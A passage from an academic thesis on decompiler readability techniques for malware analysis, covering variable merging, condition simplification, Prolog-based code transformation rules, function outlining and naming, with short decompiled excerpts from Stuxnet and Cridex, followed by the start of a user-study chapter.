2) Non-Interfering Definitions: Replacing congruent variables by a single representative does

not change the definitions that reach program points where these variables are used. Note

that this does not require that the live ranges of congruent variables do not interfere. For

example, the definition of x at line 7 is located in the live range of y, i.e., between a definition

of y (line 4) and a corresponding use of y (line 9). However, the definition is a simple copy

statement x = y and therefore using any of x or y at line 9 preserves semantics.
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3) Congruence-Revealing Statements: The previous checks are enough to guarantee the semantics-

preserving property of unifying variables. However, applying this to all variables without

limitation may negatively impact readability. Two non-interfering variables of the same

type may have different semantics (e.g., one integer variable used as a loop counter and

a second integer used as the size of a buffer). Not merging such variables enables us to

give each of them a representative name based on how the variable is used in code. Based

on that we limit congruence analysis to variables for which the code contains indications

that they are used for the same purpose. That is, we only check variables involved in copy

statements of the form x = y, which we denote as congruence-revealing statements.

At the core of these checks is information about liveness of variables. To this end, we

perform a fixed-point intraprocedural live variable analysis, a standard problem from compiler

design [62, p. 443]. At a high level, live variable analysis determines which variables are live

at each point in the program. A variable v is live at a particular point in the program p ∈ P if

p is located on an execution path from a definition of v and a use of v that does not contain a

redefinition of v. This set of program points constitute the live range of the variable.

LiveRange(v) = {p ∈ P : v live at p}

Algorithm 3 implements this idea by first calculating the set of candidate variable pairs,

i.e., variables of the same types that are involved in congruent-revealing statements, and then

checking these pairs for congruence. For each candidate pair (x, y), the algorithm checks

if they do not have interfering definitions. In particular, the procedure InterferenceFree

checks if each definition of variable y is either not located in the live range of x, or it is a copy

statement of the form y = x. The same check is also done at the definitions of x. When two

congruent variables are identified, the procedure Unify 1) chooses one representative variable

v; 2) replaces all occurrences of the concurrent variables by the representative; and 3) removes

the trivial copy statements resulted from this unification (of the form v = v). Next, the set of

variables V is updated. Finally, liveness information of the newly added variable is updated

as follows:

LiveRange(v) = LiveRange(x) ∪ LiveRange(y)
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Algorithm 3 Congruence analysis

1: procedure MergeCongruentVars(V)
2: for (a, b) ∈ Candidatates(V) do
3: if Congruent(a, b) then
4: v← Unify(a, b)
5: V ← V \ {a, b}
6: V ← V ∪ {v}
7: UpdateLiveness(v)
8: procedure Congruent(a, b)
9: return InterfenceFree(a, b) ∧ InterfenceFree(b, a)

10: procedure InterfenceFree(x, y)
11: for all d ∈ Def(y) do
12: if d ∈ LiveRange(x) ∧ d 6≡ y = x then
13: return false
14: return true

Not that we do not require that congruent variables must have the same values at all pro-

gram points. They may have different values at points where their live ranges do not interfere.

For example, although different values of variables x and y reach the return statement in the

code shown in Figure 4.4a, x is not live at lines 9 and 10. This enables us to use the same

variable for both x and y.

It is worth mentioning that our approach is similar to the local variables packing step [89]

that is used in the Soot framework [57] to merge local variables in order to produce compact

code with the least possible number of locals.

4.3.2 Condition Simplification

The goal of this step is to find the simplest high-level form of logic expressions in the de-

compiled code. These expressions are very important for understanding the control flow of

a program since they are used in control statements, such as if-then-else statements or

while loops, to decide what code to execute next. Simplifying logic expressions is helpful

in two aspects: first, it helps to recover the semantically equivalent high-level conditions to

the low-level checks emitted by the compiler. Second, it helps to clear any misunderstanding

caused by errors in the original code.

Low-level checks. During compilation a compiler uses a transformation called tiling to re-

duce the high-level program statements into assembly statements. As a result, each high-level



72 Usability Optimizations

statement can be transformed into a sequence of semantically equivalent assembly instruc-

tions. During this process, high-level predicates are transformed to semantically equivalent

low-level checks that can be executed efficiently. As an example, we consider the code shown

in Figure 4.1. The right-hand side of the assignment at line 30 is a complex expression that

checks whether the variable v19 is an even or odd number. This does not look like a common

operation used in source code, but it is equivalent to the high-level operation of computing

v19 % 2 == 0.

Errors in the code. Malware code may contain logic errors that can create confusion for

analysts. Malware analysts assume that the code they analyze performs some meaningful task

they need to find out. They also know that malware often uses several tricks to hide its true

functionality. With this mindset, when analysts observe a seemingly useless code, they need

to double-check in order to exclude the possibility of a trick aimed at making the code looks

useless. As a result, some time is wasted. The simple example from the Stuxnet malware

family shown in Figure 4.5a illustrates this case. This code checks the version of the Windows

operating system, a common procedure in environment-targeted malware [98]. However, the OR

expression (marked in red) is always satisfied; any integer is either bigger than 5 or smaller

than 6. Most probably, the malware authors intended to use an AND expression instead but

did not for some reason. Simplifying this expression results in the code shown in Figure 4.5b.

To provide a generic simplification approach, we base our techniques on the Z3 theorem

prover [32]. Our approach proceeds as follows. First, we transform logic expressions in the

Dream IR into semantically equivalent symbolic expressions for the Z3 theorem prover. To

achieve a faithful representation, we model variables as fixed-size bit-vectors depending on

their types. The theory of bit-vectors allows modeling the precise semantics of unsigned and

of signed two-complements arithmetic. During this transformation, we keep a mapping be-

tween each symbolic variable and the corresponding variable it represents in the original logic

expression. Second, we use the theorem prover to simplify and normalize the symbolic expres-

sions. Finally, we use the mapping to construct the simplified version of the logic expression

in Dream IR.
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1 //[...]

2 result = GetVersionExW(&VersionInformation);

3 if(result && VersionInformation.dwPlatformId == 2

4 && ( VersionInformation.dwMajorVersion >= 5

5 || VersionInformation.dwMajorVersion <= 6))

6 //[...]

(a) Hex-Rays

1 //[...]

2 BOOL result = GetVersionExW(&VersionInformation);

3 if(result != 0 && VersionInformation.dwPlatformId == 2)

4 //[...]

(b) Dream
++

Figure 4.5: Excerpt from the decompiled code from a Stuxnet sample. The code checks the
version of the Windows operating system.

4.3.3 Pointer Transformation

Accessing values through pointer dereferencing using pointer arithmetic can be confusing.

Also, accessing buffers allocated on the stack may result in convoluted decompiled code that

is difficult to understand.

Pointer-to-array transformation. Here, we use the observation that in C a pointer can be

indexed like an array name. This representation clearly separates the pointer variable from

the expression used to compute the offset from the start address. To guarantee the semantics-

preserving property of this transformation, we search for variables of pointer types that are

accessed consistently in the code. That is, all data that is read or written using the pointer

variable have the same type τ. In this case, dereferencing these variables can be represented as

array with elements of type τ. Here the resulting offset expression must be adjusted according

to the size of type τ. For example, if a pointer p is consistently used to access 4-byte integers,

then expressions such as *(p + 4 * i) can be transformed into the more readable p[i]

form.

Reference-to-pointer transformation. In this step, we transform variables that are only used in

combination with address-of operator (&) into pointer variables. One of the first steps in Dream is
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variable recovery that recovers individual variables from the binary code. For example, functions

usually allocate a space on the stack to store local variables. Expressions accessing values in

this stack frame are then recovered as local variables. For efficiency, buffers are often allocated

on the stack when the maximum size is known at compile time. In this cases the variable

recovery step represents the buffer as local variable v and expressions that access items inside

this buffer are represented using the address-of operator as &v, resulting in a decompiled

code that is hard to understand. For example, reading a character from a buffer allocated

on the stack is represented as *(&v37 + dwSeed / v15 % 6) (line 31 in Figure 4.1). If

a variable v is only accessed in the code as &v, we replace v by a pointer variable v_ptr

that replaces address expressions &v. This may also create an opportunity to further simplify

pointer dereferencing expressions in which the resulting pointer variable is involved in as array

indexing. The previous example can be represented as v37_ptr[dwSeed / v15 % 6].

4.4 Code Query and Transformation

At the core of our subsequent optimizations is our generic approach to search for code pat-

terns and apply corresponding code transformations. The main idea behind our approach is

to leverage the inference capabilities of logic programming to search for patterns in the de-

compiled output. To this end, we represent the decompiled code as logic facts that describe

properties of the corresponding abstract syntax tree. This logic-based representation enables

us to elegantly model search patterns as logic rules and efficiently perform complex queries

over the code base. Usability is a key design goal, and therefore we enable users of our sys-

tem to define search rules using normal C code and provide a rule compiler to compile them

into the logic rules needed by our engine. We use the platform-independent, free SWI-Prolog

implementation [92]. In the following, we describe our approach in detail.

4.4.1 Logic-Based Representation of Dream IR

This step takes as input the abstract syntax tree (AST) generated by Dream and outputs the

corresponding logic facts, denoted as code facts. We represent each AST node as a code fact

that describes its properties and nesting order in the AST. Table 4.1 shows the code facts for se-

lected statements and expressions in Dream’s intermediate representation (IR). The predicate
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symbol (fact name) represents the AST node type. The first parameter is a unique identifier of

the respective node. The second parameter is the unique identifier of the parent node (e.g., the

containing if statement). Node ids and parent ids represent the hierarchical syntactic struc-

ture of decompiled code. Remaining parameters are specific to each fact and are described in

detail in Table 4.1.

We generate the code facts by traversing the input AST and producing the corresponding

code fact for each visited node. The code facts are stored in a fact base F , which will be later

queried when searching for code patterns. As a simple example illustrating the concept of code

facts, we consider the code sample shown in Figure 4.6a. The corresponding code facts for the

function body are shown in Figure 4.6c. The body is a sequence (id = 3) of two statements: an

if-then-else statement (id = 4) and a return statement (id = 14). These two statements

have the sequence node as their parent and their order in the sequence is represented by the

order of the corresponding ids inside the sequence code fact.

4.4.2 Transformation Rules

The logic-based representation of code enables us to elegantly model search patterns as infer-

ence rules of the form
P1 P2 . . . Pn

C

The top of the inference rule bar contains the premises P1, P2, . . . , Pn. If all premises are satis-

fied, then we can conclude the statement below the bar C. The premises describe the properties

of the code pattern that we search for. In case of code queries, the conclusion is to simply indi-

cate the existence of the searched pattern. For code transformation, the conclusion represents

the transformed form of the identified code pattern.

We realize inference rules as Prolog rules, which enables us to ask Prolog queries about the

program represented as code facts. Figure 4.7 shows two simple examples that illustrate the

idea of modelling code search patterns as Prolog rules. The rule if_condition searches for

condition expressions used in if statements. Rule parameters are Prolog variables that repre-

sent the pieces of information to be extracted from the matched pattern. The rule body repre-

sents the premises that must be fulfilled in order for the rule to return a match. At a high level,

when a query is executed, Prolog tries to find a satisfying assignment to variables of the rule
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Code Fact Description

sequence(id, pid, [#s1, . . . , #sn]) sequence of statements s1, . . . , sn

loop(id, pid, τ, #ec, #sb)
loop of type
τ ∈ {τwhile, τdowhile, τendless} and
continuation condition ec and body sb

if(id, pid, #ec, #sthen, #selse)
if statement with condition ec, the
then part sthen, and the else part
selse

switch
(
id, pid, #ev,

[
#s1

case, . . . , #sn
case

]) switch statement with variable ev and a
set of cases s1

case, . . . , sn
case

case(id, pid, #elabel, #s) case statement with a label elabel and a
statement s

assignment(id, pid, #elhs, #erhs) assignment of the form elhs = erhs

return(id, pid, #e) return statement that returns
expression e

Statements

break(id, pid) break statement

call
(
id, pid, #ecallee,

[
#e1

arg, . . . , #en
arg
]) call expression of the function ecallee

with arguments e1
arg, . . . , en

arg

operation
(
id, pid,op,

[
#e1

e, . . . , #en
e
]) operation (e.g., addition or

multiplication) with operand op
involving expressions e1

e, . . . , en
e

ternaryOp(id, pid, #ec, #sthen, #selse)
ternary operation of the form
ec?sthen:selse

numericConstant(id, pid, v) numeric constant of value v
stringConstant(id, pid, v) string constant of value v
memoryAccess(id, pid, #eaddress) memory access to address eaddress

localVariable(id, pid,name, τ)
local variable with name name and type
τ

globalVariable(id, pid,name, τ)
global variable with name name and
type τ

Expressions

identifier(id, pid, #evar)
identifier represents the occurrence of a
variable evar in an expression pid

Table 4.1: Logic-based predicates for the Dream IR. Each predicate has an id to uniquely
represent the corresponding statement or expression. The second argument of each code fact
is the parent id pid that represent the id of containing AST node. For a statement or expression
e, we denote by #e the id of e.
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1 int foo(int a, int b)

2 {

3 int x;

4 if(a > b)

5 x = a;

6 else

7 x = b;

8 return x + 32;

9 }

(a) Exemplary code

1 int foo(int a, int b)

2 {

3 int x = max(a, b);

4 return x + 32;

5 }

(b) Transformed code

localVariable(0, ’int’, ’a’).

localVariable(1, ’int’, ’b’).

localVariable(2, ’int’, ’x’).

sequence(3, _, [4, 14]).

if(4, 3, 5, 8, 11).

operation(5, 4, ’>’, [6, 7]).

identifier(6, 5, 0).

identifier(7, 5, 1).

assignment(8, 4, 9, 10).

identifier(9, 8, 2).

identifier(10, 8, 0).

assignment(11, 4, 12, 13).

identifier(12, 11, 2).

identifier(13, 11, 1).

return(14, 3, 15).

operation(15, 14, ’+’, [16, 17]).

identifier(16, 15, 2).

numericConstant(17, 15, 32).

(c) Code facts

Figure 4.6: Code representations.

that makes it consistent with the facts. For example, the query if_condition(Condition)

executed on the fact base in Figure 4.6c returns the match {Condition=5}, the id of the code

fact corresponding to the condition of the if statement in Figure 4.6a. This unification is done

by matching the rule only premise with the corresponding code fact of the if statement.

A very powerful aspect of logic rules is that the corresponding queries can be adapted

for multiple purposes. For example, the second rule assignment_to_local searches for as-

signments to a local variable given its name. Using a concrete variable name, the query returns

all assignments to the corresponding variable (e.g., assignment_to_local(Assignment, ’x’)).

On the other hand, using a Prolog variable for the name, the query returns all assignments to

all variables (e.g., assignment_to_local(Assignment, Name)).
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1 if_condition(Condition) :-
2 if(_, _, Condition, _, _).
3

4 assignment_to_local(Assignment, VarName) :-
5 assignment(Assignment, _, Lhs, _),
6 identifier(Lhs, Assignment, Variable),
7 localVariable(Variable, _, VarName).

Figure 4.7: Sample search patterns

Signature:
max(result, v1, v2){
if(v1 > v2)
result = v1;

else
result = v2;

}
Transformation:
result = max(v1, v2);

Figure 4.8: Sample transformation rule

Transformation rules can be written in normal C code. Figure 4.8 shows a sample transfor-

mation rule that searches for if statements that compute the largest of two values and replace

them by a call to the max library function. A transformation rule consists of two parts: rule

signature and code transformation. The rule signature describes the code pattern to be searched

for and is written as normal C function declaration: the list of parameters, denoted as rule

parameters, represents the variables that need to be matched to the actual variables by Prolog

inference engine so that the transformed code can be constructed. The function body repre-

sents the code pattern. The transformation part describes the transformed code that should

replace the matched pattern. Also here, the transformation is written as nomal C code in terms

of the rules parameters.

We compile transformation rules into logic rules that can be used by Prolog’s inference

engine. To this end, we parse the rule body and then traverse the resulting AST. For each

visited AST node, we generate the corresponding code fact. Here, we use Prolog variables for

the generated fact identifiers. These variables will be then bound to the actual identifiers from

the fact base when the inference engine finds a match. Finally, the compiled rule is stored in

the rule base R and the corresponding query in the query base Q.
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4.4.3 Applying Transformation

We first initialize Prolog with the code base F and the rule base R. We then iteratively apply

the queries in the query set Q. If a match is found, the inference engine unifies the rule

arguments to the identifiers of the corresponding code facts. In this case, we construct the

equivalent transformed code. To this end, we first parse the transformation string to construct

the corresponding AST. During this process, we use the corresponding AST node for each

signature argument to get the transformed code in terms of the original variables from the

initial code base. For example, applying the sample rule in Figure 4.8 to the fact base shown

in Figure 4.6c returns one match: {result = x,v1 = a,v2 = b}. This enables us to replace

the complete if statement by the function call x = max(a, b) to get the code shown in

Figure 4.6b. Finally, we update the fact base F so that it remains consistent with the AST.

The code query and transformation engine is the basis for our subsequent code optimiza-

tions that identify certain code patterns and corresponding transformations aimed to simplify

code and improve readability.

4.5 Control-Flow Simplification

In this section we present our techniques to simplify the control flow of decompiled code.

4.5.1 Loop Transformation

Compiler optimizations often change the structure of loops in the source code. While this op-

timization is aimed to increase efficiency, the resulting loop structure becomes less readable,

reducing the quality of decompiled code. A well-known loop optimization is inversion, which

changes the standard while loop into a do-while loop wrapped in an if conditional, re-

ducing the number of jumps by two for cases where the loop is executed. That is, loops of the

form while(e){...} are transformed into if(e){do{...}while(e);}. Doing so duplicates

the condition check (increasing the size of the code) but is more efficient because jumps usually

cause a pipeline stall. Additionally, if the initial condition is known to be true at compile-time

and is side-effect-free, the if guard can be skipped.
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Here we make the observation that while loops are more readable than do-while loops

since the continuation condition is clear from the start. Moreover, some while loops can be

further simplified into for loops where the initialization statement, continuation condition,

and the increment statements are clear from the start. Based on this observation, we analyze

do-while loops and check if they can be transformed into while loops. Here, we distinguish

between two cases:

Guarded do-while loops. loops of the form if(c1){do{...}while(c2);} are transformed

into while(c2){...} if it can be proven that c1 == c2 at the start of the first iteration of

the loop. Note that c1 and c2 does not have to identical logical expressions. As an example,

we consider the code sample shown in Figure 4.9a. The conditions *(_BYTE *)v7 != 0 and

*(_BYTE *)(v8 + v7)!= 0 are both yield the same Boolean value at the entry of loop. Note

that the reaching definition of variable v8 at this point is v8 = 0.

Unguarded do-while loops. For these loops we only check if the loop condition is true for

the first iteration. In this case, the loop can be transformed into while loop.

To check the value of logic expressions at loop entry, we compute the set of definitions for

loop variables that reach the loop entry. To this end, we perform a fixed-point intraprocedural

reaching definitions analysis, a standard problem from compiler design [62, p. 218]. Often the

reaching definitions for loop variables are assignments of constant values that represent the

initial value of a loop counter. This makes it easy to substitute this initial value in the logic

expressions and check for equivalence at loop entry.

4.5.2 Function Outlining

Function inlining is a well-known compiler optimization where all calls into certain functions

are replaced with an in-place copy of the function code. This improves runtime performance

since the overhead of calling and returning from a function is completely eliminated. In the

context of code obfuscation, inlining is a powerful technique [28]. It makes reverse engineering

harder in two ways: first, several duplicates of the same code are spread across the program.

As a result, analysts end up analyzing several copies of the same code. Second, internal

abstractions such as the calling relationships between functions in the program are eliminated.
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1 int sub_408A70(int a1, int a2){
2 [...]
3 v8 = 0;
4 if ( *(_BYTE *)v7 )
5 {
6 do
7 ++v8;
8 while ( *(_BYTE *)(v8 + v7) );
9 }

10 v9 = 0;
11 if ( *(_BYTE *)a1 )
12 {
13 do
14 ++v9;
15 while ( *(_BYTE *)(v9 + a1) );
16 }
17 if ( v8 == v9 ){
18 [...]
19 }
20 [...]
21 }

(a) Hex-Rays

1 int sub_408A70(char * str2, void

* a2){
2 [...]
3 len1 = strlen(str1);
4 if(len1 == strlen(str2)){
5 [...]
6 }
7 [...]
8 }

(b) Dream
++

Figure 4.9: Excerpt from the code of the Cridex malware family showing the code inlining
technique.

Reversing function inlining is valuable for the manual analysis of malware. As a simple

example illustrating the benefits of function outlining, we consider the excerpt code from the

Cridex malware family shown in Figure 4.9. Each of the two loops in Hex-Rays decompiled

code shown in Figure 4.9a computes the length of a string by incrementing the counter by

one for each character until the terminating null-character is found. Dream
++ identified these

two blocks as an implementation of the strlen library function and replaced them with

corresponding function calls as shown in Figure 4.9b. This simple example gives insights into

the benefits of function outlining for code analysis.

1) Compact code. Replacing a code block by the equivalent function call eliminates duplicate

code blocks and results in a more compact decompiled output. The whole code block is

replaced by a function call whose name directly reveals the functionality of the code block.

Moreover, temporary variables used inside the block are removed from code, reducing the

number of variables that an analyst should keep track of.
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2) Meaningful variable names. Outlined functions have known interfaces that include the names

of their parameters. These names represent their semantics and reveals important infor-

mation about the variable job. We leverage this information to give meaningful names the

variables in the decompiled output.

3) Improved Type Recovery. Approaches to recover types from binary code such as [59, 58] rely

on type sinks as a reliable starting points. Type sinks are points in the program where the

type of a given variable is known. This includes calls to functions whose signatures are

known. Outlining a function generates a new type sink that can be used to improve the

performance of type inference algorithms.

4) Recovering inter-dependencies. Function outlining implicitly recovers calling relationships

between the inlined function and the functions calling it. That is, it identifies points in

the program that call the function. Calling relationships are very important for manual

reverse engineering. After having analyzed a given function, malware analysts can draw

conclusions about the calling functions.

We leverage our code query and transformation engine to easily include multiple trans-

formation rules for several functions that copy, compare, compute the length, and initialize

buffers. For example, we handle strcpy, strlen, strcmp, memset. For string functions,

both 8-bit and 16-bit character versions are handled. We also include signatures for the version

of string functions that take buffer length as argument.

Users of our system can easily add new transformation rules to handle new functions.

When an analyst observes a repeating code pattern, she can simply write a transformation

rule that replace the whole code block by a function call with a name that represents its

functionality. All other copies of the same block will be outlined. Code blocks are not only

duplicated as a result of function inlining. In C, function-like macros are pre-processor macros

that accept arguments and are used like normal function calls. These macros are handled by

the pre-processor, and are thus guaranteed to be inlined.
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4.6 Semantics-Aware Naming

In this section we describe several readability improvements at the level of variables in the

decompiled code.

4.6.1 Meaningful Names

Variable names play an important role when analyzing source code. These names reveal

valuable information about the purpose of this variable and how it is used in the program.

We give variables meaningful names based on the context in which they occur. Here we

distinguish the following cases:

Standard library calls. With well-defined API, standard library calls are important source

of variable names. For example, the Windows API URLDownloadToFile, which down-

loads data from the Internet and saves them to a file, takes five arguments. Among them

one argument, named szURL, represents the URL to download. A second argument, named

szFileName, represents the name or full path of the file to create for the download. By an-

alyzing library function calls and returns, we rename variables used as parameters or return

values, directly revealing their purpose to the analyst.

Context-based naming. The way a variable is used in code gives insights into its purpose. We

analyze the context in which variables are used to provide meaningful names to them. More

specifically, we distinguish the following cases:

1) Loop counters. We query the decompiled code for counting loops, i.e., loops that updates a

variable inside their body and then test the same variable in their continuation condition.

Counting variables in short for loops are renamed to i, j, or k. Counting variables for

other loops are renamed to counter.

2) Array indices. We rename variables used as indexes for arrays to index

3) Boolean variables. Variables that contain the result of evaluating a logic expressions are

renamed to cond. This encodes the fact that they represent testing a condition in the

variable name.
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When multiple variables are identified that can take the same name, we add subscripts to

the default names to have unique names. For example if three loop counters are identified,

they are renamed to counter1, counter2, and counter3.

4.6.2 Named Constants

Constants are important corner pieces in the process of reverse engineering. For example,

some cryptographic algorithms uses magic numbers, and several file formats include magic

numbers to identify the file type. Also standard library functions assign specific constant to

special meanings. Usually these numbers have a textual representation in the source code. We

use two sources to identify these special constants.

Library API constants. Many functions in the C standard library and Windows API define spe-

cial named constants. These constants have a specific meaning and are thus given representa-

tive names. During compilation compilers replace this symbolic representation of the constant

by the corresponding numeric value. For example, the function CreateFile uses the constant

GENERIC_READ to request a read access to the opened file. This becomes 0x80000000 in the

binary. To recover the symbolic, easily remembered names of these constants, we check for the

occurrence of named constants for a wide range of library function. For example this transfor-

mation would transform the API function call CreateFileA(f, 0x80000000, 1, ...) into

the more readable form CreateFileA(f, GENERIC_READ, FILE_SHARE_READ, ...).

File magic numbers. For many file types, a file starts with a short sequence of bytes (mostly

2 to 4 bytes long) to uniquely identify its type. Detecting such constants in files is a simple

and effective way of distinguishing between many file formats. For example, DOS MZ exe-

cutable file format and its descendants (including NE and PE) begin with the two bytes 4D

5A (characters ’MZ’). Malware usually downloads files from its server at run time and may

check which file type it received. We check if these constants are used in the conditions of flow

control statements.
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4.7 Related Work

A wealth of research has been conducted on decompilation and the development of principled

methods for recovering high-level abstractions from binary code. At a high level, there are four

lines of research relevant to the work presented in this chapter. First, approaches to extract

binary code from executables. Second, research on recovering abstractions required for source

code reconstruction. Third, work on end-to-end decompilers. Finally, techniques to query

code bases and apply transformations.

Binary code extraction. A fundamental step for decompilation is the correct extraction of

binary code. Kruegel et al. [55] presented a method to disassemble x86 obfuscated code.

Kinder et al. [53] proposed a method that interleaves multiple disassembly rounds with data-

flow analysis to achieve accurate and complete CFG extraction. The binary analysis platform

BitBlaze [83] and its successor BAP [16] use value set analysis (VSA) [6] to resolve indirect

jumps. Run-time packers are often used by malware-writers to obfuscate their code and hinder

static analysis [88]. To handle these cases, the research community proposed approaches that

rely on dynamic analysis to cope with heavily obfuscated. This include approaches to extract a

complete CFG [66], extract binary code from obfuscated binaries [107], deobfuscate obfuscated

executable code [29, 99]. A closely related topic is the identification of functions in binary

code. Recently, security research started to explore approaches based on machine learning

to solve this problem. ByteWeight [7] learn signatures for function starts using a weighted

prefix tree, and recognize function starts by matching binary fragments with the signatures.

Shin et al. [78] use neural networks.

Abstractions recovery from binary code. Source code reconstruction requires the recovery of

two types of abstractions: data type abstractions and control flow abstractions. Previous work

addressed principled methods to recover these abstractions from binary code. Recent work

proposed static and dynamic approaches to recover both scalar types (e.g., integers or shorts)

and aggregate types (e.g., arrays and structs). Prominent examples include REWARDS [59],

Howard [82], TIE [58], and MemPick [48]. Other work [45, 44, 34, 52] focused on C++ specific

issues, such as recovering C++ objects, reconstructing class hierarchy, and resolving indirect

calls resulting from virtual inheritance.
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Early work on control structure recovery relied on interval analysis [2, 27], which decon-

structs the CFG into nested regions called intervals. Sharir [77] subsequently refined interval

analysis into structural analysis. Structural analysis recovers the high-level control structure

by matching regions in the CFG against a predefined set of patterns or region schemas. En-

gel et al. [40] extended structural analysis to handle C-specific control statements. They pro-

posed a Single Entry Single Successor (SESS) analysis as an extension to structural analysis to

handle the case of statements that exist before break and continue statements in the loop

body.

Significant advances has been made recently in the field of control flow structure recovery.

Schwartz et el. [76] proposed two enhancements to vanilla structural analysis: first, iterative

refinement chooses an edge and represents it using a goto statement when the algorithm

cannot make further progress. This allows the algorithm to find more structure. Second,

semantics-preserving ensures correct control structure recovery. Yakdan et. al. [103] proposed

pattern-independent control flow structuring, an approach that relies on the semantics of high-

level control constructs rather than the shape of the corresponding flow graphs. Their method

is a departure from the traditional pattern-matching approach of structural analysis and is able

to produce a goto-free output.

Code query and transformation. Several code query technologies based on first-order pred-

icate logic have been proposed. They are mainly used in software engineering for detecting

design patterns or patterns of problematic design. These techniques support specific source

languages and they either introduce new languages for modeling code queries such as Cro-

coPat [10, 11] and Soul [97], or users of these tools have to write logic rules directly such as

JTransformer [54]. Our code query and transformation engine is based on the Dream IR and

enables malware analysts to directly write transformation rules as normal C code.

Decompilers. Cifuentes laid the foundations for modern decompilers. In her PhD thesis [24],

she presented several techniques for decompiling binary code that spans a wide range of tech-

niques from data-flow analysis and control-flow analysis. These techniques were implemented

in dcc, a decompiler for Intel 80286/DOS to C. Cifuentes et al. also developed asm2c, a SPARC

assembly to C decompiler, and used it to decompile the integer SEPC95 programs [26].
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Van Emmerik proposed to use the Static Single Assignment (SSA) form for decompilation

in his PhD thesis [39]. His work shows that SSA enables efficient implementation of many de-

compiler components such as expression propagation, dead code elimination, and type anal-

ysis. His techniques were implemented in the open-source Boomerang decompiler. Although

faster than interval analysis, it recovers less structure. Another open-source decompiler [21] is

based on the work of van Emmerik.

Chang et el. [22] created a modular framework for building pipelines of cooperating de-

compilers. Decompilation is performed by a series of decompilers connected by intermediate

languages. Their work demonstrates the possibility of using source-level tools on the decom-

piled source to find bugs that were known to exist in the original C code.

Hex-Rays is the de facto industry standard decompiler [47]. Hex-Rays is developed by Ilfak

Guilfanov and built as plugin for the Interactive Disassembler Pro (IDA). Since it is closed

source, little is known about the exact approach used. It uses an enhanced version of vanilla

structural analysis and has an engine to recognize several inlined functions. There are also

other decompilers available online such as DISC [56] and REC [71]. However, our experience

suggests that all previously mentioned decompilers are not as advanced as Hex-Rays.

Phoenix is an advanced academic decompiler created by Schwartz et al. [76]. It is built on

top of the Binary Analysis Platform (BAP) [16], which lifts sequential x86 assembly instruc-

tions into the BIL intermediate language. It also uses TIE [58] to recover types from binary

code. Phoenix uses an enhanced structural analysis algorithm that can correctly recover more

structure than vanilla structural analysis. Schwartz et al. were the first to measure correctness

of decompiler as a whole. Their methods rely on checking if the decompiled code can pass the

automatic checks written for source code.

All presented works presented above share two common characteristics. First, they do not

leverage the recovered abstraction to simplify the decompiled code, and thus they miss oppor-

tunities to improve readability. At best, minimal readability enhancements are implemented.

4.8 Summary

In this chapter, we created a host of novel readability-focused code transformations to improve

the quality of decompiled code. Our transformations simplify both program expressions and



88 Usability Optimizations

control flow. They also assign meaningful names to variables and constants based on the

context in which they are used in the program.

In the next chapter, we describe our user study to evaluate the quality of decompilers for

malware analysis and presents the results.



5
Malware Analysis User Study

The work presented in this chapter is based on our paper published at the 37th IEEE

Symposium on Security and Privacy (S&P 2016) [100]. The chapter text is taken and

adapted from this paper. The authors’ contributions that are relevant to the contents of

this chapter are as follows:

• Khaled Yakdan implemented the online study platform and conducted the

pre-study.

• Sergej Dechand designed the user study and implemented the online study

platform. Sergej also performed the statistical evaluation of the study results.

• Elmar Padilla was very helpful in discussing the design and evaluation of the

user study.

• Matthew Smith provided valuable feedback on the design of the user study and

the evaluation of the study results.

Authors’ Contributions

Manual reverse engineering of binary code has been a main driving force behind decom-

piler research. However, previous work has never featured user studies to evaluate whether

and to what extent the proposed approaches can actually help human analysts. Cifuentes et

al.’s pioneering work [24] and numerous subsequent works [22, 26, 44, 39, 76, 103] all eval-

uated the decompiler quality based on some machine-measurable readability metric such as

89
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the number of goto statements in the decompiled code or how much smaller the decompiled

code was in comparison to the input assembly. These metrics are based on the assumption that

compacter code is easier to analyze or code with less goto is easier to understand. Without

well-designed user studies, these assumptions remain unsupported. Moreover, a significant

amount of previous work featured a manual qualitative evaluation on a few, small, sometimes

self-written, examples [24, 45, 44, 39]. To show the effectiveness of decompilers in practice,

they should be evaluated using real-world code examples.

In this chapter we present the first user study on malware analysis. We have chosen to

use malware in our study because malware represents one of the most challenging cases for

binary analysis tools. We conducted a study with 21 students who had completed a course

on malware analysis and binary decompilation and 9 professional malware analysts. The

study included 6 reverse engineering tasks of real malware samples that we obtained from

independent malware experts. The results of our study show that our improved decompiler

Dream
++ produced significantly more understandable code that outperforms both the leading

industry and academic decompilers: Hex-Rays [47] and Dream. Using Dream
++ participants

solved 3× more tasks than when using Hex-Rays and 2× more tasks than when using Dream.

Both experts and students rated Dream
++ significantly higher than the competition.

5.1 User Study Design

The goal of our study is to test the readability of the code produced by our improved decom-

piler Dream
++ compared to its previous version Dream and the industry standard Hex-Rays1.

We planned a user study in which participants have to solve a number of reverse engineering

tasks with different decompilers. The participants task is to analyse the code snippets and

answer a number of questions about the functionality of the code. Our web-based study plat-

form showed the code in split screen together with the questions. Participants could edit the

code to help with the analysis.

To measure user perception, after each task we asked the participants for feedback and

a couple of questions regarding readability. Each participant got a number of code snippets

1We opted to not compare Dream
++ to any other decompilers because of the upper bound of the number of

participants (see §5.1.3).
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produced by different decompilers without being told which decompiler was being used, so

we would get an unbiased evaluation of the code. Only at the end of the study we showed

the users the code produced by all decompilers side by side and asked them to give an overall

rating for the decompilers.

5.1.1 Task Selection

To minimize the risk of bias, i.e., subconsciously selecting tasks which would favor our de-

compiler, we approached three independent professional malware analysts for the process of

task selection. The analysts were known to us, but were not involved in the study or the work

on the decompiler. We told them that we wanted to conduct a study on malware analysis and

requested that they supply us with malware code snippets they themselves had to analyse in

the course of their work. We requested that the snippets fulfil some sort of function that should

be understandable without needing the rest of the malware code. In total we got 8 snippets

of code. Two of the snippets contained an XOR based encryption/decryption algorithm, so

we removed one of those and were left with 7 malware snippets. We ran a pre-study which

will be described in more detail below to test the tasks. For this an even number of tasks was

preferable so we added one additional code snippet. Based on the results of the pre-study we

removed this and one other snippet so we are left with 6 snippets. We grouped these snippets

into two groups: Medium (three tasks), and Hard (three tasks). In the following we describe

the tasks in detail.

1. Encryption Encoding functions are used widely in malware as well as benign applications.

Malware can encrypt exchanged messages with C&C servers and encode internal strings

to avoid static analysis. This task is a function from the Stuxnet malware that decrypts

the .stub section that contains Stuxnet’s main DLL.

2. Custom Encoding This task is an XOR encryption/decryption function from the Stuxnet

malware family. This function performs a word-wise XOR with 0xAE12 and is used by

many Stuxnet components to disguise some strings.

3. Resolving API Dynamically In order to avoid static analysis, malware usually avoids listing

the API functions it needs in the import table. Instead, it can resolve them dynamically
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at runtime. The task is a function from the Cridex malware that takes as input the name

of an API function and returns the corresponding starting address.

